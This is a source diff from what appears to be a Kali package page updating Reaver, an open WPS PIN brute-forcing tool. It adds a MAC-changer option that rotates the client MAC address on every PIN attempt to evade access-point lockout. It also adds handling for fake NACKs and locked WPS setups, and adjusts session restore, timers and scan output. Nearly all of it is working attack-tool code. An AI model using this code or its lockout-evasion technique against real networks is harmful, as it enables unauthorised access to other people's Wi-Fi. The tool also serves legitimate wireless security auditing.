Import upstream version 1.6.6+git20220211.1.4091bf2
Kali Janitor
1 year, 7 months ago
105 | 105 | -w, --win7 Mimic a Windows 7 registrar [False] |
106 | 106 | -K, --pixie-dust Run pixiedust attack |
107 | 107 | -Z Run pixiedust attack |
108 | -O, --output-file=<filename> Write packets of interest into pcap file | |
109 | -M, --mac-changer Change the last digit of the MAC Address for each pin attempt [False] | |
108 | 110 | |
109 | 111 | Example: |
110 | 112 | reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv |
131 | 133 | Optional Arguments: |
132 | 134 | -c, --channel=<num> Channel to listen on [auto] |
133 | 135 | -n, --probes=<num> Maximum number of probes to send to each AP in scan mode [15] |
136 | -O, --output-file=<filename> Write packets of interest into pcap file | |
134 | 137 | -F, --ignore-fcs Ignore frame checksum errors |
135 | 138 | -2, --2ghz Use 2.4GHz 802.11 channels |
136 | 139 | -5, --5ghz Use 5GHz 802.11 channels |
138 | 141 | -u, --survey Use survey mode [default] |
139 | 142 | -a, --all Show all APs, even those without WPS |
140 | 143 | -j, --json print extended WPS info as json |
144 | -U, --utf8 Show UTF8 ESSID (does not sanitize ESSID, dangerous) | |
141 | 145 | -p, --progress Show percentage of crack progress |
142 | 146 | -h, --help Show help |
143 | 147 | |
166 | 170 | `rofl0r` |
167 | 171 | |
168 | 172 | Modifications made by: |
169 | `t6_x`, `DataHead`, `Soxrok2212`, `Wiire`, `AAnarchYY`, `kib0rg`, `KokoSoft`, `rofl0r`, `horrorho`, `binarymaster`, `Ǹotaz` | |
173 | `t6_x`, `DataHead`, `Soxrok2212`, `Wiire`, `AAnarchYY`, `kib0rg`, `KokoSoft`, `rofl0r`, `horrorho`, `binarymaster`, `Ǹotaz`, `Adde88`, `feitoi` | |
170 | 174 | |
171 | 175 | Some ideas made by: |
172 | 176 | `nuroo`, `kcdtv` |
345 | 345 | state++; |
346 | 346 | break; |
347 | 347 | case 4: |
348 | ret = process_authenticate_associate_resp(0); | |
348 | ret = process_authenticate_associate_resp(1); | |
349 | 349 | if(ret) state++; |
350 | 350 | else return 0; |
351 | 351 | break; |
119 | 119 | ln -sf ./reaver wash |
120 | 120 | |
121 | 121 | reaver: $(PROG_OBJS) $(LIB_OBJS) |
122 | $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -lpthread -o reaver | |
122 | $(CC) $(CFLAGS) $(INC) $(PROG_OBJS) $(LIB_OBJS) $(LDFLAGS) -lpthread -lrt -o reaver | |
123 | 123 | |
124 | 124 | extest.o: exchange.c |
125 | 125 | $(CC) $(CFLAGS) -g3 -O0 -DEX_TEST -c exchange.c -o extest.o |
49 | 49 | int long_opt_index = 0; |
50 | 50 | char bssid[MAC_ADDR_LEN] = { 0 }; |
51 | 51 | char mac[MAC_ADDR_LEN] = { 0 }; |
52 | char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:O:KZA5ELfnqvDShwN6JFu"; | |
52 | char *short_options = "b:e:m:i:t:d:c:T:x:r:g:l:p:s:C:O:KZA5ELfnqvDShwN6JFuM"; | |
53 | 53 | struct option long_options[] = { |
54 | 54 | { "pixie-dust", no_argument, NULL, 'K' }, |
55 | 55 | { "interface", required_argument, NULL, 'i' }, |
83 | 83 | { "timeout-is-nack", no_argument, NULL, 'J' }, |
84 | 84 | { "ignore-fcs", no_argument, NULL, 'F' }, |
85 | 85 | { "output-file", required_argument, NULL, 'O'}, |
86 | { "mac-changer", no_argument, NULL, 'M' }, | |
86 | 87 | { 0, 0, 0, 0 } |
87 | 88 | }; |
88 | 89 | |
200 | 201 | break; |
201 | 202 | case 'F': |
202 | 203 | set_validate_fcs(0); |
204 | break; | |
205 | case 'M': | |
206 | set_mac_changer(1); | |
203 | 207 | break; |
204 | 208 | default: |
205 | 209 | ret_val = EXIT_FAILURE; |
229 | 233 | set_validate_fcs(1); |
230 | 234 | pixie.do_pixie = 0; |
231 | 235 | set_pin_string_mode(0); |
236 | set_mac_changer(0); | |
232 | 237 | } |
233 | 238 | |
234 | 239 | /* Parses the recurring delay optarg */ |
33 | 33 | #include "cracker.h" |
34 | 34 | #include "pixie.h" |
35 | 35 | #include "utils/vendor.h" |
36 | #include "utils/endianness.h" | |
36 | 37 | |
37 | 38 | void update_wpc_from_pin(void) { |
38 | 39 | /* update WPC file with found pin */ |
67 | 68 | globule->uptime = end_le64toh(timestamp); |
68 | 69 | } |
69 | 70 | |
71 | static void set_next_mac() { | |
72 | unsigned char newmac[6]; | |
73 | uint32_t l4b; | |
74 | memcpy(newmac, get_mac(), 6); | |
75 | memcpy(&l4b, newmac+2, 4); | |
76 | l4b = end_be32toh(l4b); | |
77 | do ++l4b; | |
78 | while ((l4b & 0xff) == 0 || (l4b & 0xff) == 0xff); | |
79 | l4b = end_htobe32(l4b); | |
80 | memcpy(newmac+2, &l4b, 4); | |
81 | set_mac(newmac); | |
82 | cprintf(WARNING, "[+] Using MAC %s\n", mac2str(get_mac(), ':')); | |
83 | } | |
84 | ||
70 | 85 | /* Brute force all possible WPS pins for a given access point */ |
71 | 86 | void crack() |
72 | 87 | { |
73 | 88 | char *bssid = NULL; |
74 | 89 | char *pin = NULL; |
75 | 90 | int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0; |
76 | float pin_count = 0; | |
91 | int pin_count = 0; | |
77 | 92 | time_t start_time = 0; |
78 | 93 | enum wps_result result = 0; |
79 | 94 | |
160 | 175 | /* Main cracking loop */ |
161 | 176 | for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++) |
162 | 177 | { |
178 | /* MAC Changer */ | |
179 | if (get_mac_changer()) { | |
180 | set_next_mac(); | |
181 | } | |
182 | ||
163 | 183 | /* |
164 | 184 | * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS |
165 | 185 | * registrar requests. Using a delay here can help prevent the AP from locking us out. |
315 | 335 | } |
316 | 336 | |
317 | 337 | /* If we've hit our max number of pin attempts, quit */ |
318 | if((get_max_pin_attempts() > 0) && | |
319 | (pin_count == get_max_pin_attempts())) | |
320 | { | |
321 | cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts()); | |
338 | if (pin_count >= get_max_pin_attempts()) | |
339 | { | |
340 | cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", pin_count); | |
322 | 341 | break; |
323 | 342 | } |
324 | 343 | } |
349 | 368 | } |
350 | 369 | |
351 | 370 | /* Displays the status and rate of cracking */ |
352 | void display_status(float pin_count, time_t start_time) | |
371 | void display_status(int pin_count, time_t start_time) | |
353 | 372 | { |
354 | 373 | float percentage = 0; |
355 | 374 | int attempts = 0, average = 0; |
47 | 47 | |
48 | 48 | void crack(); |
49 | 49 | void advance_pin_count(); |
50 | void display_status(float pin_count, time_t start_time); | |
50 | void display_status(int pin_count, time_t start_time); | |
51 | 51 | |
52 | 52 | #endif |
149 | 149 | SETUP_LOCKED = 15, |
150 | 150 | MESSAGE_TIMEOUT = 16, |
151 | 151 | REGISTRATION_TIMEOUT = 17, |
152 | AUTH_FAILURE = 18 | |
152 | AUTH_FAILURE = 18, | |
153 | UNKNOWN_CFG_ERROR = 0x1003 | |
153 | 154 | }; |
154 | 155 | |
155 | 156 | enum wps_type |
148 | 148 | tx_type = SEND_WSC_NACK; |
149 | 149 | break; |
150 | 150 | case NACK: |
151 | cprintf(VERBOSE, "[+] Received WSC NACK\n"); | |
151 | cprintf(VERBOSE, "[+] Received WSC NACK (reason: 0x%04X)\n", get_nack_reason()); | |
152 | 152 | got_nack = 1; |
153 | 153 | break; |
154 | 154 | case TERMINATE: |
230 | 230 | set_timeout_is_nack(0); |
231 | 231 | |
232 | 232 | ret_val = KEY_REJECTED; |
233 | ||
234 | /* Check the reason code for the received NACK message */ | |
235 | if (get_nack_reason() == MESSAGE_TIMEOUT) { | |
236 | ret_val = UNKNOWN_ERROR; | |
237 | cprintf(WARNING, "[!] WARNING: Potential FAKE NACK!\n"); | |
238 | } | |
239 | /* Got NACK instead of an M5 message, when cracking second half */ | |
240 | else if (!get_pin_string_mode() && last_msg == M3 && get_key_status() == KEY2_WIP) { | |
241 | ret_val = UNKNOWN_ERROR; | |
242 | cprintf(WARNING, "[!] WARNING: Potential first half pin has changed!\n"); | |
243 | } | |
233 | 244 | } |
234 | 245 | else |
235 | 246 | { |
236 | 247 | ret_val = UNKNOWN_ERROR; |
248 | } | |
249 | /* WPS locked or ISPs that had vulnerable routers in the past opted | |
250 | to "fix" them by simply not completing any more WPS transactions */ | |
251 | if (get_nack_reason() == SETUP_LOCKED) { | |
252 | /* set maximum number of pin attempts to 0 for quit */ | |
253 | set_max_pin_attempts(0); | |
254 | cprintf(WARNING, "[!] WARNING: Detected AP has WPS setup locked!\n"); | |
237 | 255 | } |
238 | 256 | } |
239 | 257 | else if(premature_timeout) |
248 | 266 | (last_msg == M3 || last_msg == M5)) |
249 | 267 | { |
250 | 268 | ret_val = KEY_REJECTED; |
269 | /* Got timeout instead of an M5 message, when cracking second half */ | |
270 | if (!get_pin_string_mode() && last_msg == M3 && get_key_status() == KEY2_WIP) { | |
271 | ret_val = UNKNOWN_ERROR; | |
272 | cprintf(WARNING, "[!] WARNING: Potential first half pin has changed!\n"); | |
273 | } | |
251 | 274 | } |
252 | 275 | else |
253 | 276 | { |
471 | 494 | case MESSAGE_TYPE: |
472 | 495 | type = (uint8_t) element_data[0]; |
473 | 496 | break; |
497 | case CONFIGURATION_ERROR: | |
498 | /* Check element_data length */ | |
499 | if (element.length == 2) | |
500 | set_nack_reason(WPA_GET_BE16(element_data)); | |
501 | break; | |
474 | 502 | default: |
475 | 503 | break; |
476 | 504 | } |
628 | 628 | return globule->oo_send_nack; |
629 | 629 | } |
630 | 630 | |
631 | void set_mac_changer(int value) | |
632 | { | |
633 | globule->mac_changer = value; | |
634 | } | |
635 | int get_mac_changer() | |
636 | { | |
637 | return globule->mac_changer; | |
638 | } | |
639 | ||
631 | 640 | void set_vendor(int is_set, const unsigned char* v) { |
632 | 641 | globule->vendor_oui[0] = is_set; |
633 | 642 | if(is_set) memcpy(globule->vendor_oui+1, v, 3); |
89 | 89 | |
90 | 90 | unsigned long long resend_timeout_usec; /* how many microsecs to wait before resending last packet */ |
91 | 91 | |
92 | timer_t timer_id; /* The ID of timer */ | |
93 | ||
92 | 94 | enum debug_level debug; /* Current debug level: INFO | CRITICAL | WARNING | VERBOSE */ |
93 | 95 | |
94 | 96 | int eapol_start_count; /* Tracks how many times in a row we've attempted to start and EAP session */ |
155 | 157 | * wpa_supplicant's wps_data structure, needed for almost all wpa_supplicant |
156 | 158 | * function calls. |
157 | 159 | */ |
160 | int mac_changer; /* Use MAC changer */ | |
161 | ||
158 | 162 | }; |
159 | 163 | |
160 | 164 | extern struct globals *globule; |
267 | 271 | int get_repeat_m6(void); |
268 | 272 | void set_output_fd(int fd); |
269 | 273 | int get_output_fd(void); |
274 | void set_mac_changer(int value); | |
275 | int get_mac_changer(void); | |
270 | 276 | #endif |
142 | 142 | pcap_set_timeout(handle, 50); |
143 | 143 | pcap_set_rfmon(handle, activate_rfmon); |
144 | 144 | pcap_set_promisc(handle, 1); |
145 | if(!(status = pcap_activate(handle))) | |
145 | status = pcap_activate(handle); | |
146 | if(status >= 0) { | |
147 | // Complete success, or success with warning. | |
148 | // XXX - report warning? | |
146 | 149 | return handle; |
150 | } | |
147 | 151 | if(status == PCAP_ERROR_RFMON_NOTSUP) { |
148 | 152 | pcap_set_rfmon(handle, 0); |
149 | 153 | status = pcap_activate(handle); |
150 | if(!status) return handle; | |
154 | if(status >= 0) { | |
155 | // Complete success, or success with warning. | |
156 | // XXX - report warning? | |
157 | return handle; | |
158 | } | |
151 | 159 | } |
152 | cprintf(CRITICAL, "[X] ERROR: pcap_activate status %d\n", status); | |
153 | static const char *pcap_errmsg[] = { | |
154 | [1] = "generic error code", | |
155 | [2] = "loop terminated by pcap_breakloop", | |
156 | [3] = "the capture needs to be activated", | |
157 | [4] = "the operation can't be performed on already activated captures", | |
158 | [5] = "no such device exists", | |
159 | [6] = "this device doesn't support rfmon (monitor) mode", | |
160 | [7] = "operation supported only in monitor mode", | |
161 | [8] = "no permission to open the device", | |
162 | [9] = "interface isn't up", | |
163 | [10]= "this device doesn't support setting the time stamp type", | |
164 | [11]= "you don't have permission to capture in promiscuous mode", | |
165 | [12]= "the requested time stamp precision is not supported", | |
166 | }; | |
167 | if(status < 0 && status > -13) | |
168 | cprintf(CRITICAL, "[X] PCAP: %s\n", pcap_errmsg[-status]); | |
160 | if(status < 0) { | |
161 | if(status == PCAP_ERROR) | |
162 | cprintf(CRITICAL, "[X] ERROR: pcap_activate status %d - %s, %s\n", status, pcap_statustostr(status), pcap_geterr(handle)); | |
163 | else | |
164 | cprintf(CRITICAL, "[X] ERROR: pcap_activate status %d - %s\n", status, pcap_statustostr(status)); | |
165 | } | |
169 | 166 | pcap_close(handle); |
170 | 167 | handle = 0; |
171 | 168 | } |
108 | 108 | json_str = append_and_free(old, buf, 1); |
109 | 109 | old = json_str; |
110 | 110 | } |
111 | if(*wps->device_password_id) { | |
112 | tmp = sanitize_string(wps->device_password_id); | |
113 | nl = snprintf(buf, sizeof buf, "\"wps_device_password_id\" : \"%s\", ", tmp); | |
114 | free(tmp); | |
115 | json_str = append_and_free(old, buf, 1); | |
116 | old = json_str; | |
117 | } | |
111 | 118 | if(*wps->ssid) { |
112 | 119 | tmp = sanitize_string(wps->ssid); |
113 | 120 | nl = snprintf(buf, sizeof buf, "\"wps_ssid\" : \"%s\", ", tmp); |
143 | 150 | json_str = append_and_free(old, buf, 1); |
144 | 151 | old = json_str; |
145 | 152 | } |
153 | if(*wps->selected_registrar_config_methods) { | |
154 | tmp = sanitize_string(wps->selected_registrar_config_methods); | |
155 | nl = snprintf(buf, sizeof buf, "\"selected_registrar_config_methods\" : \"%s\", ", tmp); | |
156 | free(tmp); | |
157 | json_str = append_and_free(old, buf, 1); | |
158 | old = json_str; | |
159 | } | |
146 | 160 | if(*wps->response_type) { |
147 | 161 | tmp = sanitize_string(wps->response_type); |
148 | 162 | nl = snprintf(buf, sizeof buf, "\"wps_response_type\" : \"%s\", ", tmp); |
183 | 197 | return json_str; |
184 | 198 | } |
185 | 199 | |
186 | /* | |
187 | * This is the only function that external code should call. | |
188 | * | |
189 | * const u_char *packet Pointer to a beacon or probe response packet | |
190 | * size_t len Size of the packet | |
191 | * struct libwps_data *wps Pointer to an allocated libwps_data structure | |
192 | * | |
193 | * Returns 1 if WPS data was found and the libwps_data structure has been populated. | |
194 | * Returns 0 if no WPS data was found. | |
195 | */ | |
196 | int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps) | |
197 | { | |
198 | const u_char *data = NULL; | |
199 | size_t data_len = 0, offset = 0; | |
200 | struct radio_tap_header *rt_header = NULL; | |
201 | int ret_val = 0; | |
202 | ||
203 | if(wps) | |
204 | { | |
205 | memset(wps, 0, sizeof(struct libwps_data)); | |
206 | ||
207 | if(len > (sizeof(struct radio_tap_header) + | |
208 | sizeof(struct dot11_frame_header) + | |
209 | sizeof(struct management_frame))) | |
210 | { | |
211 | rt_header = (struct radio_tap_header *) libwps_radio_header(packet, len); | |
212 | ||
213 | offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct management_frame); | |
214 | if(offset > len) { | |
215 | cprintf(CRITICAL, "corrupt data received, terminating!\n"); | |
216 | exit(1); | |
217 | } | |
218 | data = (packet + offset); | |
219 | data_len = (len - offset); | |
220 | ||
221 | ret_val = parse_wps_tag(data, data_len, wps); | |
222 | } | |
223 | } | |
224 | ||
225 | return ret_val; | |
226 | } | |
227 | ||
228 | 200 | /* Parse and print WPS data in beacon packets and probe responses */ |
229 | int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps) | |
201 | static int parse_wps_tags(const u_char *tags, size_t len, | |
202 | struct libwps_data *wps) | |
230 | 203 | { |
231 | 204 | unsigned char *wps_ie_data = NULL, *el = NULL; |
232 | 205 | char *ptr = NULL, *src = NULL; |
240 | 213 | MODEL_NAME, |
241 | 214 | MODEL_NUMBER, |
242 | 215 | DEVICE_NAME, |
216 | DEVICE_PASSWORD_ID, | |
243 | 217 | SSID, |
244 | 218 | UUID, |
245 | 219 | SERIAL, |
246 | 220 | SELECTED_REGISTRAR, |
221 | SELECTED_REGISTRAR_CONFIG_METHODS, | |
247 | 222 | RESPONSE_TYPE, |
248 | 223 | PRIMARY_DEVICE_TYPE, |
249 | 224 | CONFIG_METHODS, |
305 | 280 | case SELECTED_REGISTRAR: |
306 | 281 | src = hex2str(el, el_len); |
307 | 282 | ptr = wps->selected_registrar; |
283 | break; | |
284 | case SELECTED_REGISTRAR_CONFIG_METHODS: | |
285 | src = hex2str(el, el_len); | |
286 | ptr = wps->selected_registrar_config_methods; | |
287 | break; | |
288 | case DEVICE_PASSWORD_ID: | |
289 | src = hex2str(el, el_len); | |
290 | ptr = wps->device_password_id; | |
308 | 291 | break; |
309 | 292 | case RESPONSE_TYPE: |
310 | 293 | src = hex2str(el, el_len); |
343 | 326 | break; |
344 | 327 | default: |
345 | 328 | src = NULL; |
346 | ptr = NULL; | |
329 | ptr = NULL; | |
347 | 330 | } |
348 | 331 | |
349 | 332 | if(!ptr) |
370 | 353 | |
371 | 354 | ret_val = 1; |
372 | 355 | free(wps_ie_data); |
373 | } | |
356 | } | |
357 | ||
358 | return ret_val; | |
359 | } | |
360 | ||
361 | /* | |
362 | * This is the only function that external code should call. | |
363 | * | |
364 | * const u_char *packet Pointer to a beacon or probe response packet | |
365 | * size_t len Size of the packet | |
366 | * struct libwps_data *wps Pointer to an allocated libwps_data structure | |
367 | * | |
368 | * Returns 1 if WPS data was found and the libwps_data structure has been populated. | |
369 | * Returns 0 if no WPS data was found. | |
370 | */ | |
371 | int parse_wps_parameters(const u_char *packet, size_t len, struct libwps_data *wps) | |
372 | { | |
373 | const u_char *data = NULL; | |
374 | size_t data_len = 0, offset = 0; | |
375 | struct radio_tap_header *rt_header = NULL; | |
376 | int ret_val = 0; | |
377 | ||
378 | if(wps) | |
379 | { | |
380 | memset(wps, 0, sizeof(struct libwps_data)); | |
381 | ||
382 | if(len > (sizeof(struct radio_tap_header) + | |
383 | sizeof(struct dot11_frame_header) + | |
384 | sizeof(struct management_frame))) | |
385 | { | |
386 | rt_header = (struct radio_tap_header *) libwps_radio_header(packet, len); | |
387 | ||
388 | offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct management_frame); | |
389 | if(offset > len) { | |
390 | cprintf(CRITICAL, "corrupt data received, terminating!\n"); | |
391 | exit(1); | |
392 | } | |
393 | data = (packet + offset); | |
394 | data_len = (len - offset); | |
395 | ||
396 | ret_val = parse_wps_tags(data, data_len, wps); | |
397 | } | |
398 | } | |
374 | 399 | |
375 | 400 | return ret_val; |
376 | 401 | } |
38 | 38 | char model_name[LIBWPS_MAX_STR_LEN]; |
39 | 39 | char model_number[LIBWPS_MAX_STR_LEN]; |
40 | 40 | char device_name[LIBWPS_MAX_STR_LEN]; |
41 | char device_password_id[LIBWPS_MAX_STR_LEN]; | |
41 | 42 | char ssid[LIBWPS_MAX_STR_LEN]; |
42 | 43 | char uuid[LIBWPS_MAX_STR_LEN]; |
43 | 44 | char serial[LIBWPS_MAX_STR_LEN]; |
44 | 45 | char selected_registrar[LIBWPS_MAX_STR_LEN]; |
46 | char selected_registrar_config_methods[LIBWPS_MAX_STR_LEN]; | |
45 | 47 | char response_type[LIBWPS_MAX_STR_LEN]; |
46 | 48 | char primary_device_type[LIBWPS_MAX_STR_LEN]; |
47 | 49 | char config_methods[LIBWPS_MAX_STR_LEN]; |
75 | 77 | MODEL_NAME = 0x1023, |
76 | 78 | MODEL_NUMBER = 0x1024, |
77 | 79 | DEVICE_NAME = 0x1011, |
80 | DEVICE_PASSWORD_ID = 0x1012, | |
78 | 81 | SSID = 0x1045, |
79 | 82 | UUID = 0x1047, |
80 | 83 | SERIAL = 0x1042, |
81 | 84 | SELECTED_REGISTRAR = 0x1041, |
85 | SELECTED_REGISTRAR_CONFIG_METHODS = 0x1053, | |
82 | 86 | RESPONSE_TYPE = 0x103B, |
83 | 87 | PRIMARY_DEVICE_TYPE = 0x1054, |
84 | 88 | CONFIG_METHODS = 0x1008, |
131 | 135 | }; |
132 | 136 | |
133 | 137 | |
134 | int parse_wps_tag(const u_char *tags, size_t len, struct libwps_data *wps); | |
135 | 138 | unsigned char *get_wps_data(const u_char *data, size_t len, size_t *tag_len); |
136 | 139 | unsigned char *get_wps_data_element(const u_char *data, size_t len, uint16_t type, size_t *el_len); |
137 | 140 | char *hex2str(unsigned char *hex, int len); |
101 | 101 | { |
102 | 102 | int i = 0, index = 0; |
103 | 103 | |
104 | /* If the first half of the pin was specified, | |
105 | * generate a list of possible pins with the specified first half pin first | |
106 | */ | |
107 | if(get_static_p1() && !get_pin_string_mode()) | |
108 | { | |
109 | i = get_k1_key_index(atoi(get_static_p1())); | |
110 | set_p1(index, k1[i].key); | |
111 | k1[i].priority = 2; | |
112 | index++; | |
113 | } | |
114 | 104 | /* |
115 | 105 | * Look for P1 keys marked as priority. These are pins that have been |
116 | 106 | * reported to be commonly used on some APs and should be tried first. |
134 | 124 | } |
135 | 125 | } |
136 | 126 | |
137 | /* If the second half of the pin was specified, | |
138 | * generate a list of possible pins with the specified second half pin first | |
139 | */ | |
140 | 127 | index = 0; |
141 | if(get_static_p2() && !get_pin_string_mode()) | |
142 | { | |
143 | i = get_k2_key_index(atoi(get_static_p2())); | |
144 | set_p2(index, k2[i].key); | |
145 | k2[i].priority = 2; | |
146 | index++; | |
147 | } | |
148 | 128 | /* |
149 | 129 | * Look for P2 keys statically marked as priority. These are pins that have been |
150 | 130 | * reported to be commonly used on some APs and should be tried first. |
60 | 60 | char answer = 0; |
61 | 61 | FILE *fp = NULL; |
62 | 62 | int ret_val = 0, i = 0; |
63 | int add, p1_tried, p2_tried; | |
64 | 63 | |
65 | 64 | /* |
66 | 65 | * If a session file was explicitly specified, use that; else, check for the |
127 | 126 | set_key_status(atoi(line)); |
128 | 127 | |
129 | 128 | /* Read in all p1 values */ |
130 | add = p1_tried = 0; | |
131 | 129 | for(i=0; i<P1_SIZE; i++) |
132 | 130 | { |
133 | 131 | memset(temp, 0, P1_READ_LEN); |
136 | 134 | { |
137 | 135 | /* NULL out the new line character */ |
138 | 136 | temp[P1_STR_LEN] = 0; |
139 | /* check has first half pin was specified and yet is KEY1_WIP */ | |
140 | if (get_static_p1() && get_key_status() < KEY2_WIP) | |
141 | { | |
142 | if (i < get_p1_index()) | |
143 | { | |
144 | /* Check the first half has been already tried */ | |
145 | if (strcmp(get_static_p1(), temp) == 0) | |
146 | { | |
147 | p1_tried = 1; | |
148 | } | |
149 | } | |
150 | else if (i == get_p1_index()) | |
151 | { | |
152 | /* Check current index of first half is the specified pin | |
153 | * Yes: do nothing | |
154 | * No: insert into current index and set add to 1 | |
155 | */ | |
156 | if (!p1_tried && strcmp(get_static_p1(), temp) != 0) | |
157 | { | |
158 | set_p1(i, get_static_p1()); | |
159 | add = 1; | |
160 | } | |
161 | } | |
162 | else | |
163 | { | |
164 | /* Check former index of first half | |
165 | * Yes: set add to 0 and continue to next loop; | |
166 | * No: do nothing | |
167 | */ | |
168 | if (strcmp(get_static_p1(), temp) == 0) | |
169 | { | |
170 | add = 0; | |
171 | continue; | |
172 | } | |
173 | } | |
174 | } | |
175 | set_p1(i+add, temp); | |
137 | set_p1(i, temp); | |
176 | 138 | } |
177 | 139 | } |
178 | 140 | |
179 | 141 | /* Read in all p2 values */ |
180 | add = p2_tried = 0; | |
181 | 142 | for(i=0; i<P2_SIZE; i++) |
182 | 143 | { |
183 | 144 | memset(temp, 0, P1_READ_LEN); |
186 | 147 | { |
187 | 148 | /* NULL out the new line character */ |
188 | 149 | temp[P2_STR_LEN] = 0; |
189 | /* check has second half pin was specified and yet not KEY_DONE */ | |
190 | if (get_static_p2() && get_key_status() != KEY_DONE) | |
191 | { | |
192 | if (i < get_p2_index()) | |
193 | { | |
194 | /* Check the second half has been already tried */ | |
195 | if (strcmp(get_static_p2(), temp) == 0) | |
196 | { | |
197 | p2_tried = 1; | |
198 | } | |
199 | } | |
200 | else if (i == get_p2_index()) | |
201 | { | |
202 | /* Check current index of second half is the specified pin | |
203 | * Yes: do nothing | |
204 | * No: insert into current index and set add to 1 | |
205 | */ | |
206 | if (!p2_tried && strcmp(get_static_p2(), temp) != 0) | |
207 | { | |
208 | set_p2(i, get_static_p2()); | |
209 | add = 1; | |
210 | } | |
211 | } | |
212 | else | |
213 | { | |
214 | /* Check former index of second half | |
215 | * Yes: set add to 0 and continue to next loop; | |
216 | * No: do nothing | |
217 | */ | |
218 | if (strcmp(get_static_p2(), temp) == 0) | |
219 | { | |
220 | add = 0; | |
221 | continue; | |
222 | } | |
223 | } | |
224 | } | |
225 | set_p2(i+add, temp); | |
150 | set_p2(i, temp); | |
226 | 151 | } |
227 | 152 | } |
228 | 153 | |
229 | 154 | ret_val = 1; |
230 | ||
231 | /* Print warning message if the specified first or second half PIN was ignored */ | |
232 | if (get_static_p1()) | |
233 | { | |
234 | /* Check the specified 4/8 digit WPS PIN has been already tried */ | |
235 | if (p1_tried || p2_tried) | |
236 | { | |
237 | ret_val = -1; | |
238 | } | |
239 | /* Print message what first half pin ignored if former key status >= KEY2_WIP */ | |
240 | if (get_key_status() >= KEY2_WIP && strcmp(get_static_p1(), get_p1(get_p1_index())) != 0) | |
241 | { | |
242 | cprintf(INFO, "[!] First half PIN ignored, it was cracked\n"); | |
243 | } | |
244 | /* Print message what second half pin ignored if former key status == KEY_DONE */ | |
245 | if (get_key_status() == KEY_DONE && strcmp(get_static_p2(), get_p2(get_p2_index())) != 0) | |
246 | { | |
247 | cprintf(INFO, "[!] Second half PIN ignored, it was cracked\n"); | |
248 | } | |
249 | } | |
250 | 155 | |
251 | 156 | fout: |
252 | 157 | fclose(fp); |
257 | 162 | set_p1_index(0); |
258 | 163 | set_p2_index(0); |
259 | 164 | set_key_status(KEY1_WIP); |
260 | } | |
261 | else if(ret_val == -1) | |
262 | { | |
263 | cprintf(CRITICAL, "[!] The PIN has already been tested\n"); | |
264 | 165 | } else { |
265 | 166 | cprintf(INFO, "[+] Restored previous session\n"); |
167 | } | |
168 | ||
169 | /* If the specified pin was used, then insert into current index of p1 and p2 array */ | |
170 | if (!get_pin_string_mode() && get_static_p1()) { | |
171 | i = jump_p1_queue(get_static_p1()); | |
172 | if (i >= 0 && get_static_p2()) { | |
173 | i = jump_p2_queue(get_static_p2()); | |
174 | } | |
175 | /* If i < 0, then the specified pin has already been tested */ | |
176 | if (i < 0) { | |
177 | /* If previous session is KEY_DONE, then to use the pin cracked from previous session */ | |
178 | if (get_key_status() == KEY_DONE) { | |
179 | cprintf(INFO, "[!] The specified pin ignored, using the previous pin cracked\n"); | |
180 | } else { | |
181 | cprintf(CRITICAL, "[!] The specified pin has already been tested\n"); | |
182 | ret_val = -1; | |
183 | } | |
184 | } | |
266 | 185 | } |
267 | 186 | |
268 | 187 | return ret_val; |
37 | 37 | void sigalrm_init() |
38 | 38 | { |
39 | 39 | struct sigaction act; |
40 | struct sigevent sev; | |
40 | 41 | |
41 | 42 | memset(&act, 0, sizeof(struct sigaction)); |
42 | 43 | act.sa_handler = alarm_handler; |
43 | 44 | |
44 | 45 | sigaction (SIGALRM, &act, 0); |
46 | ||
47 | sev.sigev_notify = SIGEV_SIGNAL; | |
48 | sev.sigev_signo = SIGALRM; | |
49 | sev.sigev_value.sival_ptr = &globule->timer_id; | |
50 | timer_create(CLOCK_REALTIME, &sev, &globule->timer_id); | |
45 | 51 | } |
46 | 52 | |
47 | 53 | static void rewind_timer() { |
48 | struct itimerval timer = {0}; | |
49 | ||
50 | timer.it_value.tv_usec = globule->resend_timeout_usec; | |
54 | struct itimerspec its; | |
51 | 55 | |
52 | 56 | set_out_of_time(0); |
53 | 57 | |
54 | setitimer(ITIMER_REAL, &timer, 0); | |
58 | its.it_value.tv_sec = globule->resend_timeout_usec / 1000000; | |
59 | its.it_value.tv_nsec = (globule->resend_timeout_usec % 1000000) * 1000; | |
60 | its.it_interval.tv_sec = its.it_value.tv_sec; | |
61 | its.it_interval.tv_nsec = its.it_value.tv_nsec; | |
62 | timer_settime(globule->timer_id, 0, &its, NULL); | |
55 | 63 | } |
56 | 64 | |
57 | 65 | static unsigned timeout_ticks; |
89 | 97 | /* Timer is stopped by process_packet() when any valid EAP packet is received */ |
90 | 98 | void stop_timer() |
91 | 99 | { |
92 | struct itimerval timer; | |
100 | struct itimerspec its = {0}; | |
93 | 101 | |
94 | 102 | set_out_of_time(0); |
95 | 103 | |
96 | memset(&timer, 0, sizeof(struct itimerval)); | |
97 | ||
98 | setitimer(ITIMER_REAL, &timer, 0); | |
104 | timer_settime(globule->timer_id, 0, &its, NULL); | |
99 | 105 | } |
100 | 106 | |
101 | 107 | /* Handles SIGALRM interrupts */ |
180 | 180 | fprintf(stderr, "\t-K, --pixie-dust Run pixiedust attack\n"); |
181 | 181 | fprintf(stderr, "\t-Z Run pixiedust attack\n"); |
182 | 182 | fprintf(stderr, "\t-O, --output-file=<filename> Write packets of interest into pcap file\n"); |
183 | fprintf(stderr, "\t-M, --mac-changer Change the last digit of the MAC Address for each pin try [False]\n"); | |
183 | 184 | |
184 | 185 | fprintf(stderr, "\nExample:\n\t%s -i wlan0mon -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name); |
185 | 186 |
55 | 55 | enum seen_flags { |
56 | 56 | SEEN_FLAG_PRINTED = 1, |
57 | 57 | SEEN_FLAG_COMPLETE = 2, |
58 | SEEN_FLAG_PBC = 4, | |
